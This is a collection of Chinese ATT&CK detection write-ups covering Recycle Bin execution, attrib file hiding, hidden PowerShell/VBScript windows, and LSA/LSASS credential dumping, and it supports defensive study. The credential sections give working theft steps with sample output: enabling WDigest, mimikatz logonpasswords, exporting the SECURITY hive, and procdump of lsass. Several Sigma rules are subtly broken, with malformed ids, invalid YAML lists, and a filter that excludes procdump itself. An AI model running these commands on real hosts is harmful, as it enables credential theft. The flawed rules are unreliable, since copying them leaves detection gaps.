1)捕获从`$Recycle.Bin`启动的进程,检查可执行文件路径。 - 监控Event ID 11(文件创建),检测恶意文件在`$Recycle.Bin`的写入。 2. **启用命令行审计**: - 配置Windows安全策略,启用进程跟踪审核(Event ID 4688)并记录命令行参数(需Windows 7+支持)。 - 确保Sysmon配置包含命令行和文件操作信息。 3. **父进程分析**: - 检查启动回收站程序的父进程(如`cmd.exe`、`powershell.exe`、`schtasks.exe`)。 - 非典型父进程(如`rundll32.exe`、`msiexec.exe`)启动回收站程序需高度关注。 4. **基线化行为**: - 正常情况下,`$Recycle.Bin`不应包含可执行文件或被直接调用。 - 建立回收站访问和执行的基线,任何偏离均视为可疑。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测回收站中的异常执行。 - 设置高优先级告警,针对`$Recycle.Bin`路径的进程创建。 6. **行为链关联**: - 将回收站执行与其他可疑行为(如文件下载、网络连接、注册表修改)关联,识别攻击链。 - 例如,检测回收站程序执行后是否出现C2通信或文件加密。 7. **限制回收站访问**: - 使用组策略或文件权限限制非管理员用户对`$Recycle.Bin`的写入权限。 - 监控未经授权的文件放置或执行尝试。 8. **测试与验证**: - 在测试环境中模拟将恶意文件置于回收站并执行,验证检测规则有效性。 - 调整规则阈值,排除合法操作的误报。 ## 参考推荐 - MITRE ATT&CK T1564.001 - Windows 10系统$Recycle.Bin删除方法 - Microsoft 365 Defender狩猎查询:回收站中的恶意软件 - Atomic Red Team T1564.001 ================================================ FILE: Windows/07逃避防御/T1564.001-Win-隐藏的文件和目录.md ================================================ # T1564.001-Win-隐藏的文件和目录 ## 描述 攻击者可能会将文件和目录设置为隐藏,以逃避检测机制。为了防止普通用户意外更改系统上的特殊文件,大多数操作系统都具有“隐藏”文件的功能。当用户使用GUI浏览文件系统或在命令行上使用常规命令时,这些文件不会显示。用户必须通过一系列图形用户界面(GUI)提示或使用命令行开关(对于Windows为`dir /a`,对于Linux和macOS为`ls –a`)明确要求显示隐藏文件。 在Linux和macOS上,用户只需将“.”作为文件或文件夹名称的第一个字符即可将其标记为隐藏。默认情况下,以“.”开头的文件和文件夹在Finder应用程序和标准命令行实用程序(如`ls`)中是隐藏的。用户必须专门更改设置才能查看这些文件。 macOS上的文件也可以用`UF_HIDDEN`标志标记,这可以防止在Finder.app中看到它们,但仍然允许在Terminal.app中看到它们。在Windows上,攻击者可以使用`attrib.exe`二进制文件将特定文件标记为隐藏。许多应用程序都会创建这些隐藏的文件和文件夹来存储信息,以免使用户的工作空间变得混乱。例如,SSH实用程序会创建一个`.ssh`文件夹,该文件夹处于隐藏状态,其中包含用户的已知主机和密钥。 攻击者可以利用此优势来隐藏系统上任何位置的文件和文件夹,并逃避不包含对隐藏文件的调查的典型用户或系统分析。 ## 测试案例 `Attrib.exe`是位于`C:\Windows\System32`文件夹中的Windows操作系统文件。它允许您显示或更改文件属性。`attrib`命令的功能是设置、更改或删除这些文件属性。使用`attrib`命令,可以使文件为只读、存档、系统和隐藏。 **什么是文件属性?** 文件属性是与计算机上的任何文件相关联的元数据,描述或跟踪文件创建或修改、文件大小、文件扩展名和文件权限等信息。 ## 检测日志 * Windows Sysmon日志 * Windows Security Event Logs --- ## 测试复现 `Attrib`命令可以让文件夹彻底地隐藏起来,就算是在文件夹选项中设置了显示隐藏文件夹,也无法显示出来的。只能通过路径访问的方式打开文件夹。 ```yml C:\Users\splaybow>help attrib 显示或更改文件属性。 ATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [+I | -I] [drive:][path][filename] [/S [/D] [/L]] + 设置属性。 - 清除属性。 R 只读文件属性。 A 存档文件属性。 S 系统文件属性。 H 隐藏文件属性。 I 无内容索引文件属性。 [drive:][path][filename] 指定 attrib 要处理的文件。 /S 处理当前文件夹及其所有子文件夹中的匹配文件。 /D 也处理文件夹。 /L 处理符号链接和符号链接目标的属性。 ``` **示例命令:** 1. **隐藏文件:** ```powershell attrib +h C:\Users\Public\malicious.exe ``` 2. **隐藏文件夹(并使其成为系统文件,进一步隐藏):** ```powershell attrib +h +s C:\Users\Public\HiddenFolder ``` 3. **移除隐藏属性:** ```powershell attrib -h C:\Users\Public\malicious.exe ``` 4. **移除隐藏和系统属性:** ```powershell attrib -h -s C:\Users\Public\HiddenFolder ``` ## 测试留痕 * Windows Sysmon (Event ID 1: Process Creation) * Windows Security Event Logs (Event ID 4688: A new process has been created -如果启用命令行审计) ## 检测规则/思路 监视文件系统和Shell命令,以查找以“.”开头的文件(在Linux/macOS上)和Windows命令行使用`attrib.exe`添加隐藏属性。 ### Splunk规则 ```yml # 检测attrib.exe设置系统文件属性(+s) index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\\attrib.exe" CommandLine="*+s*") # 检测attrib.exe设置隐藏文件属性(+h) index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\\attrib.exe" CommandLine="*+h*") # 结合检测系统和隐藏属性 index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\\attrib.exe" CommandLine="*+s*+h*") ``` ### Sigma规则(示例) ```yml title: Attrib.exe Used to Hide Files or Directories id: c4e7d8b5-1a2b-4c3d-8f9e-0a1b2c3d4e5f status: experimental description: Detects the use of attrib.exe to set hidden (+h) or system (+s) attributes on files or directories, which can be used by attackers to evade detection. logsource: category: process_creation product: windows detection: selection: Image|endswith: '\attrib.exe' CommandLine|contains: - '+h' - '+s' condition: selection level: medium tags: - attack.defense_evasion - attack.t1564.001 ``` ### 建议 * **命令行审计:**确保在安全事件日志中启用命令行进程创建审计(Event ID 4688),以便捕获`attrib.exe`的完整命令行参数。 * **异常行为检测:**关注非典型用户或应用程序对关键系统目录或用户目录下的文件使用`attrib +h`或`attrib +s`命令。例如,如果`svchost.exe`或其他不相关的进程调用`attrib.exe`,这可能是一个可疑迹象。 * **基线化:**对正常系统操作中`attrib.exe`的使用进行基线化,以识别异常模式。 * **多源关联:**将`attrib.exe`的使用与文件创建/修改事件(Sysmon Event ID 11)或其他恶意活动指标进行关联,以构建更全面的威胁视图。 * **限制不必要的使用:**考虑限制普通用户执行`attrib.exe`命令的能力,尤其是在关键系统路径中。 ## 参考推荐 - MITRE-ATT&CK: T1564-001 - CMD中使用attrib命令设置文件只读、隐藏属性详解 ================================================ FILE: Windows/07逃避防御/T1564.003-Win-隐藏窗口.md ================================================ 、# T1564.003-Win-隐藏窗口 ## 描述 攻击者可能通过隐藏窗口将恶意活动从用户视线中移除,以规避检测(MITRE ATT&CK T1564.003)。正常情况下,应用程序执行操作时会显示可见窗口,但攻击者可利用特定功能隐藏这些窗口,防止用户察觉异常。系统管理员也可能使用类似技术在执行管理任务时避免干扰用户。 在Windows环境中,脚本语言(如PowerShell、JScript、VBScript)提供了隐藏窗口的功能。例如,PowerShell命令中的`-WindowStyle Hidden`参数可启动无可见窗口的进程。在macOS中,应用程序的属性列表(plist)文件可通过设置`apple.awt.UIElement`标记阻止应用图标出现在Dock中,常用于系统托盘应用。 攻击者滥用这些功能,通过隐藏窗口执行恶意代码(如下载Payload、运行后门),避免触发用户或安全工具的警觉。 ## 测试案例 ### 测试1:使用PowerShell隐藏窗口执行命令 攻击者使用PowerShell的`-WindowStyle Hidden`参数运行脚本或命令,无可见窗口。 **攻击命令**(在命令提示符或PowerShell中运行): ```powershell powershell.exe -WindowStyle Hidden -Command "Write-Output 'Test' > C:\Temp\hidden_test.txt" ``` **说明**: - 命令以隐藏窗口模式运行,输出文本到`C:\Temp\hidden_test.txt`。 - 用户无法看到PowerShell窗口,但命令已执行。 **清理命令**: ```cmd del C:\Temp\hidden_test.txt ``` ### 测试2:使用VBScript隐藏窗口运行命令 攻击者通过`WScript.Shell`对象的`Run`方法以隐藏窗口模式执行命令。 **VBScript代码**(保存为`hidden.vbs`): ```vbscript Set WShell = CreateObject("WScript.Shell") WShell.Run "cmd.exe /c echo Test > C:\Temp\hidden_vbs_test.txt", 0, True ``` **攻击命令**: ```cmd wscript.exe C:\Temp\hidden.vbs ``` **说明**: - `Run`方法的`0`参数表示隐藏窗口。 - 命令将输出写入`C:\Temp\hidden_vbs_test.txt`。 **清理命令**: ```cmd del C:\Temp\hidden_vbs_test.txt del C:\Temp\hidden.vbs ``` ## 检测日志 - **Windows Sysmon日志**:通过Event ID 1(进程创建)捕获`powershell.exe`、`wscript.exe`或`cscript.exe`的执行,记录命令行参数。 - **Windows PowerShell日志**:记录PowerShell命令执行细节(需启用PowerShell日志记录)。 - **Windows安全日志**:通过Event ID 4688(进程创建)记录相关进程(需启用进程跟踪审核)。 ## 测试复现 ### 测试1:PowerShell隐藏窗口 **测试环境**:Windows 10 **攻击命令**: ```powershell powershell.exe -WindowStyle Hidden -Command "Write-Output 'Test' > C:\Temp\hidden_test.txt" ``` **结果**: - 无可见PowerShell窗口,`C:\Temp\hidden_test.txt`文件生成,内容为`Test`。 - 命令成功执行,未触发用户界面提示。 ### 测试2:VBScript隐藏窗口 **测试环境**:Windows 10 **VBScript文件**(`hidden.vbs`): ```vbscript Set WShell = CreateObject("WScript.Shell") WShell.Run "cmd.exe /c echo Test > C:\Temp\hidden_vbs_test.txt", 0, True ``` **攻击命令**: ```cmd wscript.exe C:\Temp\hidden.vbs ``` **结果**: - 无可见命令提示符窗口,`C:\Temp\hidden_vbs_test.txt`文件生成,内容为`Test`。 - 脚本执行成功,未显示用户界面。 ## 测试留痕 ### Sysmon日志(Event ID 1:进程创建) **测试1:PowerShell隐藏窗口**: ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/01 10:00:00 事件 ID: 1 任务类别: Process Create (rule: ProcessCreate) 级别: 信息 用户: SYSTEM 计算机: hostname.qax.com 描述: Process Create: RuleName: technique_id=T1564.003,technique_name=Hidden Window UtcTime: 2023-10-01 02:00:00.123 ProcessGuid: {12345678-1234-5678-1234-567890123456} ProcessId: 1234 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe FileVersion: 10.0.19041.1 Description: Windows PowerShell Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: PowerShell.EXE CommandLine: powershell.exe -WindowStyle Hidden -Command "Write-Output 'Test' > C:\Temp\hidden_test.txt" CurrentDirectory: C:\Windows\system32\ User: QAX\Administrator LogonGuid: {12345678-1234-5678-1234-567890123457} LogonId: 0x123456 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=...,MD5=...,SHA256=... ParentProcessGuid: {12345678-1234-5678-1234-567890123458} ParentProcessId: 5678 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: cmd.exe ParentUser: QAX\Administrator ``` **分析**: - 日志记录了`powershell.exe`的执行,命令行包含`-WindowStyle Hidden`,表明隐藏窗口行为。 - 输出文件路径(`C:\Temp\hidden_test.txt`)提示可能的文件操作。 **测试2:VBScript隐藏窗口**: ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/01 10:01:00 事件 ID: 1 任务类别: Process Create (rule: ProcessCreate) 级别: 信息 用户: SYSTEM 计算机: hostname.qax.com 描述: Process Create: RuleName: technique_id=T1564.003,technique_name=Hidden Window UtcTime: 2023-10-01 02:01:00.123 ProcessGuid: {12345678-1234-5678-1234-567890123459} ProcessId: 5678 Image: C:\Windows\System32\wscript.exe FileVersion: 5.812.10240.16384 Description: Microsoft ® Windows Based Script Host Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: wscript.exe CommandLine: wscript.exe C:\Temp\hidden.vbs CurrentDirectory: C:\Windows\system32\ User: QAX\Administrator LogonGuid: {12345678-1234-5678-1234-567890123457} LogonId: 0x123456 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=...,MD5=...,SHA256=... ParentProcessGuid: {12345678-1234-5678-1234-567890123458} ParentProcessId: 5678 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: cmd.exe ParentUser: QAX\Administrator ``` **分析**: - 日志记录了`wscript.exe`执行`hidden.vbs`,但未直接显示隐藏窗口参数(需结合文件内容分析)。 - 后续`cmd.exe`进程(由VBScript触发)可能记录隐藏执行的命令。 ## 检测规则/思路 ### Splunk规则 ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\\powershell.exe" CommandLine="*-WindowStyle Hidden*") ``` **说明**: - 检测Sysmon日志中`powershell.exe`的进程创建事件(EventCode=1),命令行包含`-WindowStyle Hidden`。 - 适用于Splunk环境,需调整为其他SIEM系统的查询语法。 ### Sigma规则 ```yaml title: 检测PowerShell或WSH隐藏窗口执行 description: Detects execution of PowerShell or Windows Script Host (wscript/cscript) with hidden window parameters, indicating potential malicious activity. status: experimental date: 2023/10/01 tags: - attack.defense_evasion - attack.t1564.003 logsource: product: windows service: sysmon detection: selection_powershell: EventID: 1 Image|endswith: '\powershell.exe' CommandLine|contains: '-WindowStyle Hidden' selection_wsh: EventID: 1 Image|endswith: - '\wscript.exe' - '\cscript.exe' CommandLine|contains: '.vbs' condition: selection_powershell or selection_wsh fields: - Image - CommandLine - ParentImage - User falsepositives: - Legitimate administrative scripts using hidden windows level: medium ``` **规则说明**: - 检测`powershell.exe`使用`-WindowStyle Hidden`或`wscript.exe`/`cscript.exe`执行VBS脚本的进程创建事件。 - 规则为实验性,需测试以减少合法管理脚本的误报。 ### 建议 1. **监控隐藏窗口参数**: - 使用Sysmon(Event ID 1)捕获`powershell.exe`、`wscript.exe`和`cscript.exe`的执行,检查命令行是否包含`-WindowStyle Hidden`或`.vbs`。 - 关注非管理员用户或非预期环境运行隐藏窗口命令的行为。 2. **启用PowerShell日志**: - 配置PowerShell日志记录(模块日志、脚本块日志),捕获详细的命令执行内容。 - 在组策略中启用:`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志`。 3. **检测文件操作**: - 监控由隐藏窗口进程生成的文件(如`C:\Temp\hidden_test.txt`),使用Sysmon Event ID 11(文件创建)。 - 检查用户目录(如`%APPDATA%`、`%TEMP%`)中的异常文件写入。 4. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析Sysmon和PowerShell日志,检测隐藏窗口行为。 - 设置告警规则,针对非预期用户或系统运行隐藏窗口命令。 5. **限制脚本执行**: - 使用AppLocker或组策略限制`powershell.exe`、`wscript.exe`和`cscript.exe`的执行,仅允许在特定场景下运行。 - 配置PowerShell的约束语言模式(Constrained Language Mode),限制恶意脚本功能。 6. **关联行为分析**: - 将隐藏窗口执行与其他可疑行为(如网络连接、异常进程)关联,识别攻击链。 - 例如,检测隐藏窗口命令后是否触发了下载或C2通信。 7. **macOS检测**: - 监控`plist`文件修改(如包含`apple.awt.UIElement`),使用文件完整性监控工具(如osquery)。 - 检查异常的Java应用或系统托盘进程。 8. **测试与验证**: - 在测试环境中模拟隐藏窗口攻击(如PowerShell、VBScript),验证检测规则有效性。 - 调整规则阈值,排除合法管理脚本的误报。 ## 参考推荐 - MITRE ATT&CK T1564.003 - PowerShell安全专题之攻击检测篇 - Atomic Red Team T1564.003 ================================================ FILE: Windows/08凭证访问/T1003-004-win-LSA-mimikatz凭证转储.md ================================================ # T1003.004-Win-基于LSA凭证获取 ## 描述 凭据转储(Credential Dumping,MITRE ATT&CK T1003.004)涉及攻击者通过访问本地安全机构(Local Security Authority,LSA)提取凭据材料,如本地或域账户密码、服务账户凭据等。LSA机密存储于注册表`HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets`或LSASS(Local Security Authority Subsystem Service,lsass.exe)进程内存中。在Windows 2000至Server 2008环境中,LSASS内存可能以明文存储密码(支持WDigest或SSP认证)。Windows 8.1及Server 2012起,微软增强了安全性,默认不再以明文存储密码,但仍可通过特定配置提取。攻击者需SYSTEM权限,可使用Mimikatz、reg.exe或pwdump7等工具从注册表或内存中提取凭据。此技术常用于横向移动或权限提升。 ## 测试案例 ### 测试环境 - 系统:Windows Server 2012或Windows 10(WDigest启用) - 工具:Mimikatz、reg.exe - 要求:SYSTEM权限、域环境(abcc.org,可选)、启用Sysmon和Windows安全日志审计 - 用户:Administrator(密码:Password123) - 配置:启用WDigest明文存储(测试需要) ### 测试准备 1. 确认SYSTEM权限: ```cmd whoami /all ``` - 确保运行于SYSTEM上下文(可通过PsExec:`psexec -s -i cmd`)。 2. 启用WDigest明文存储(Windows 8.1+需手动启用): ```cmd reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 ``` 3. 启用日志审计: - 组策略:计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 进程跟踪、对象访问 > 启用成功和失败审计。 - 安装Sysmon: - 配置:启用事件ID1(进程创建)、7(映像加载)、13(注册表操作)。 4. 下载Mimikatz: - URL: - 放置于本地(C:\Tools\mimikatz)。 5. 确保活跃用户会话(生成LSASS凭据)。 ### 测试步骤 1. **使用Mimikatz从LSASS内存提取凭据**: ```cmd cd C:\Tools\mimikatz mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit ``` - 输出示例: ``` wdigest: * Username: Administrator * Domain: ABCC * Password: Password123 ``` 2. **使用reg.exe导出LSA机密**: ```cmd reg save HKEY_LOCAL_MACHINE\SECURITY C:\Temp\security.hiv ``` - 验证文件:`dir C:\Temp\security.hiv` 3. **离线分析LSA机密**(可选): - 使用Mimikatz解析: ```cmd mimikatz.exe "lsadump::secrets /system:C:\Temp\security.hiv" exit ``` - 输出示例: ``` * Secret: DefaultPassword Password: AutoLogonPass123 ``` ### 参考资源 - Mimikatz文档: - LSA凭据提取: - WDigest安全: ## 检测日志 ### 数据来源 - **Sysmon日志**: - 事件ID1:进程创建(mimikatz.exe、reg.exe) - 事件ID7:映像加载(lsass.exe相关模块) - 事件ID13:注册表操作(HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets) - **Windows安全日志**: - 事件ID4688:进程创建(mimikatz.exe、reg.exe) - 事件ID4673:敏感权限调用(如SeDebugPrivilege) - 事件ID4656:注册表访问(需启用对象访问审计) - **文件系统**: - 监控`C:\Temp\`或`%temp%`的`.hiv`文件创建 - **网络流量**(可选): - 捕获`.hiv`文件传输(SMB 445/TCP) ## 测试复现 ### 环境配置 - 系统:Windows Server 2012(WDigest启用) - 工具:Mimikatz、reg.exe - 用户:Administrator(密码:Password123) - 日志:Sysmon(事件ID1、7、13)、Windows安全日志 - 路径:C:\Temp\ ### 复现步骤 1. **启用WDigest**: ```cmd reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 ``` 2. **提取LSASS凭据**: ```cmd cd C:\Tools\mimikatz mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit ``` - 输出: ``` wdigest: * Username: Administrator * Domain: ABCC * Password: Password123 ``` 3. **导出LSA机密**: ```cmd reg save HKEY_LOCAL_MACHINE\SECURITY C:\Temp\security.hiv ``` - 输出:`操作成功完成。` 4. **验证日志**: - Sysmon事件ID1:确认`mimikatz.exe`执行。 - Sysmon事件ID13:确认`HKLM\SECURITY\Policy\Secrets`访问。 ## 测试留痕 ### Sysmon日志 - **事件ID1**: ```xml C:\Tools\mimikatz\mimikatz.exe mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" NT AUTHORITY\SYSTEM ``` - **事件ID7**(lsass.exe模块加载): ```xml C:\Windows\System32\lsasrv.dll C:\Tools\mimikatz\mimikatz.exe ``` - **事件ID13**: ```xml HKLM\SECURITY\Policy\Secrets C:\Tools\mimikatz\mimikatz.exe NT AUTHORITY\SYSTEM ``` ### Windows安全日志 - **事件ID4673**: ```xml SeDebugPrivilege C:\Tools\mimikatz\mimikatz.exe SYSTEM ``` - **事件ID4656**(需启用审计): ```xml \REGISTRY\MACHINE\SECURITY\Policy\Secrets C:\Tools\mimikatz\mimikatz.exe SYSTEM ``` ### 文件系统 - 文件:`C:\Temp\security.hiv`(若使用reg.exe导出) ## 检测规则/思路 ### 检测方法 1. **日志监控**: - Sysmon事件ID1:检测`mimikatz.exe`或`reg.exe`执行。 - Sysmon事件ID13:监控`HKLM\SECURITY\Policy\Secrets`访问。 - Windows事件ID4673:捕获`SeDebugPrivilege`调用。 2. **文件监控**: - 审计`C:\Temp\`或`%temp%`的`.hiv`文件创建。 - 监控`.hiv`文件传输。 3. **行为分析**: - 检测非预期SYSTEM权限进程访问LSASS或注册表。 - 监控WDigest注册表键(`HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest`)修改。 4. **网络监控**: - 捕获`.hiv`文件传输(SMB 445/TCP)。 5. **关联分析**: - 结合事件ID4688和4673,检测Mimikatz运行。 - 监控后续凭据使用(如异常登录事件ID4624)。 ### Sigma规则 #### 规则一:Mimikatz提取LSA凭据 ```yaml title: Mimikatz提取LSA凭据检测 id: p6q7r8s9-0t1u-2v3w-kx2l-9m0n1o2p3q4r status: stable description: 检测Mimikatz执行sekurlsa::logonpasswords提取LSA凭据 references: - https://attack.mitre.org/techniques/T1003/004/ tags: - attack.credential_access - attack.t1003.004 logsource: product: windows category: process_creation detection: selection: EventID|in: - 4688 - 1 Image|endswith: '\mimikatz.exe' CommandLine|contains: 'sekurlsa::logonpasswords' condition: selection fields: - EventID - Image - CommandLine - User falsepositives: - 安全测试工具使用 level: critical ``` #### 规则二:LSA注册表访问 ```yaml title: LSA机密注册表访问检测 id: q7r8s9t0-1u2v-3w4x-ly3m-0n1o2p3q4r5s status: stable description: 检测Mimikatz或reg.exe访问LSA机密注册表 references: - https://attack.mitre.org/techniques/T1003/004/ tags: - attack.credential_access - attack.t1003.004 logsource: product: windows category: registry_event detection: selection: EventID: 13 TargetObject|contains: '\SECURITY\Policy\Secrets' Image|endswith: - '\mimikatz.exe' - '\reg.exe' condition: selection fields: - EventID - TargetObject - Image - User falsepositives: - 管理员合法注册表操作 level: high ``` ### Splunk规则 ```spl index=sysmon (EventCode=1 Image="*mimikatz.exe" CommandLine="*sekurlsa::logonpasswords*" OR EventCode=13 TargetObject="*\SECURITY\Policy\Secrets*" (Image="*mimikatz.exe" OR Image="*reg.exe")) | fields EventCode,Image,CommandLine,TargetObject,User ``` 规则说明: - 检测Mimikatz的`sekurlsa::logonpasswords`命令和LSA机密注册表访问。 - 降低误报:聚焦特定命令和注册表路径。 ## 防御建议 1. **权限控制**: - 限制`SeDebugPrivilege`权限,仅授权必要管理员。 - 禁止非管理员访问`HKLM\SECURITY\Policy\Secrets`。 2. **日志监控**: - 部署Sysmon,启用事件ID1、7、13。 - 启用注册表审计,监控`SECURITY\Policy\Secrets`。 - 使用SIEM关联Mimikatz和注册表事件。 3. **凭据保护**: - 禁用WDigest(组策略:`HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential=0`)。 - 启用Credential Guard(Windows 10/2016+)。 - 禁用自动登录,防止注册表存储明文密码。 4. **工具限制**: - 使用AppLocker限制`mimikatz.exe`和`reg.exe`非预期执行。 - 监控第三方工具(如pwdump7)运行。 5. **主动防御**: - 部署诱捕凭据,监控LSASS访问。 - 使用EDR检测Mimikatz或LSASS异常行为。 ## 参考推荐 - MITRE ATT&CK T1003.004: - LSA凭据提取: - Mimikatz LSA模块: - Pwdump7: - WDigest安全配置: - Sysmon配置: ================================================ FILE: Windows/08凭证访问/T1003-win-Procdump凭证转储.md ================================================ # T1003-Win-Procdump明文凭证 ## 描述 凭据导出是指攻击者从操作系统或软件中提取登录凭据(明文密码或哈希)以进行横向移动或访问受限资源。Windows系统中,用户登录后,凭据存储在本地安全机构子系统服务(LSASS)进程内存中。攻击者可通过工具如Procdump转储LSASS进程内存,并在本地使用Mimikatz等工具提取明文密码或哈希。此技术利用SSPI相关的安全支持提供商(SSP),如MSV、WDigest、Kerberos和CredSSP,获取存储的凭据。成功提取凭据后,攻击者可用于权限提升、持久化或进一步攻击。 ## 测试案例 **测试环境**: - 系统:Windows Server 2008R2/2016或Windows7/10 - 工具:Procdump(Sysinternals)、Mimikatz - 要求:本地管理员权限、启用Sysmon日志、域环境(可选,lab.local) - 用户:Administrator(测试账户) **测试准备**: 1. 下载Procdump()和Mimikatz()。 2. 安装Sysmon并配置事件ID1(进程创建)、10(进程访问)、11(文件操作)。 3. 启用Windows安全日志审计(组策略:计算机配置>策略>Windows设置>安全设置>本地策略>审核策略>进程跟踪)。 4. 确保目标系统有活跃用户会话(凭据存储在LSASS)。 **测试步骤**: 1. **使用Procdump转储LSASS进程内存**(目标主机,管理员权限): ```cmd procdump64.exe -ma lsass.exe lsass_dump.dmp ``` 预期输出: ``` ProcDumpv8.0-Writesprocessdumpfiles [13:42:47]Dump1initiated:lsass_dump.dmp [13:42:50]Dump1writing:Estimateddumpfilesizeis50MB. [13:42:51]Dump1complete:50MBwrittenin3.3seconds ``` 2. **将转储文件传输到本地分析系统**(通过SMB、FTP等)。 3. **使用Mimikatz提取凭据**(本地系统): ```cmd mimikatz.exe "sekurlsa::minidump lsass_dump.dmp" "sekurlsa::logonpasswords" exit ``` 预期输出: ``` AuthenticationId:0;999(00000000:000003e7) Session:Interactivefrom1 UserName:Administrator Domain:LAB LogonServer:DC LogonTime:2025-06-1713:40:00 SID:S-1-5-21-... msv: [00000003]Primary *Username:Administrator *Domain:LAB *NTLM: *SHA1: wdigest: *Username:Administrator *Domain:LAB *Password:Password123 ``` 4. **验证提取的凭据**: 使用提取的密码(如Password123)或哈希尝试登录其他系统。 **参考资源**: - Procdump使用指南: - Mimikatz文档: - LSASS凭据提取: ## 检测日志 **数据来源**: - **Sysmon日志**(推荐): - 事件ID1:进程创建(procdump.exe) - 事件ID10:进程访问(procdump访问lsass.exe) - 事件ID11:文件操作(lsass_dump.dmp创建) - **Windows安全日志**: - 事件ID4688:新进程创建(procdump.exe) - 事件ID4656:进程访问lsass.exe(需启用对象访问审计) - **网络流量**: - 捕获转储文件传输(SMB445/TCP、FTP21/TCP等)。 - **PowerShell日志**(可选): - 事件ID4103/4104:若通过PowerShell调用procdump。 **关键日志字段**: - 事件ID1/4688: - `Image`:C:\path\to\procdump.exe或procdump64.exe - `CommandLine`:包含`-malsass.exe` - `OriginalFileName`:procdump - `ParentImage`:cmd.exe或powershell.exe - 事件ID10: - `SourceImage`:procdump.exe - `TargetImage`:lsass.exe - 事件ID11: - `TargetFilename`:lsass_dump.dmp ## 测试复现 **环境配置**: - 系统:WindowsServer2008R2 - 工具:Procdump64.exe、Mimikatz - 用户:Administrator(密码:Password123) - 日志:Sysmon(事件ID1、10、11) - 路径:C:\Users\Administrator\Desktop\Procdump **复现步骤**: 1. 执行Procdump转储LSASS: ```cmd C:\Users\Administrator\Desktop\Procdump>procdump64.exe -ma lsass.exe 1.dmp ProcDump v8.0 - Writes process dump files [13:42:47] Dump 1 initiated: C:\Users\Administrator\Desktop\Procdump\1.dmp [13:42:50] Dump 1 writing: Estimated dump file size is 50 MB. [13:42:51] Dump 1 complete: 50 MB written in 3.3 seconds ``` 2. 传输1.dmp到本地系统(通过共享文件夹)。 3. 使用Mimikatz提取凭据: ```cmd C:\Tools\mimikatz>mimikatz.exe "sekurlsa::minidump 1.dmp" "sekurlsa::logonpasswords" exit msv: *Username:Administrator *Domain:LAB *NTLM: wdigest: *Username:Administrator *Domain:LAB *Password:Password123 ``` 4. 验证日志:检查Sysmon事件ID1(procdump执行)、10(lsass访问)、11(1.dmp创建)。 ## 测试留痕 **Sysmon日志**: - **事件ID1**(进程创建): ```xml C:\Users\Administrator\Desktop\Procdump\procdump64.exe procdump64.exe -ma lsass.exe 1.dmp procdump C:\Windows\System32\cmd.exe LAB\Administrator ``` - **事件ID10**(进程访问): ```xml C:\Users\Administrator\Desktop\Procdump\procdump64.exe C:\Windows\System32\lsass.exe procdump64.exe|ntdll.dll|kernel32.dll ``` - **事件ID11**(文件创建): ```xml C:\Users\Administrator\Desktop\Procdump\1.dmp C:\Users\Administrator\Desktop\Procdump\procdump64.exe ``` **Windows安全日志**: - **事件ID4688**(进程创建): ```xml C:\Users\Administrator\Desktop\Procdump\procdump64.exe procdump64.exe -ma lsass.exe 1.dmp Administrator ``` **网络日志**(若涉及文件传输): - SMB流量(445/TCP):传输1.dmp文件。 ## 检测规则/思路 ### Sigma规则 **规则一:检测Procdump转储LSASS行为**: ```yaml title: Procdump转储LSASS凭据检测 id: i9d0e1f2-3g4h-5i6j-dk5e-2f3g4h5i6j7k status: stable description: 检测使用Procdump转储LSASS进程内存以获取凭据的行为 references: -https://attack.mitre.org/techniques/T1003/ -https://adsecurity.org/?p=1760 tags: -attack.credential_access -attack.t1003 logsource: category: process_creation product: windows detection: selection: EventID|in: -4688 -1 OriginalFileName: 'procdump' CommandLine|contains: -'-malsass.exe' -'lsass.exe' filter: Image|endswith: -'\procdump.exe' -'\procdump64.exe' condition: selection and not filter fields: -ComputerName -User -Image -CommandLine -OriginalFileName falsepositives: -管理员合法使用Procdump进行调试 -安全测试工具误报 level: critical ``` **规则二:检测Procdump访问LSASS进程**: ```yaml title: Procdump访问LSASS进程检测 id: j0e1f2g3-4h5i-6j7k-el6f-3g4h5i6j7k8l status: stable description: 检测Procdump尝试访问LSASS进程的行为 references: -https://attack.mitre.org/techniques/T1003/ tags: -attack.credential_access -attack.t1003 logsource: category: process_access product: windows detection: selection: EventID: 10 SourceImage|endswith: -'\procdump.exe' -'\procdump64.exe' TargetImage|endswith: '\lsass.exe' condition: selection fields: -ComputerName -SourceImage -TargetImage -CallTrace falsepositives: -合法调试工具访问LSASS level: high ``` **规则优化说明**: - 规则一:利用`OriginalFileName`(Sysmon10.2+)检测Procdump,即使文件名被重命名。 - 规则二:聚焦事件ID10,检测Procdump对LSASS的直接访问行为。 - 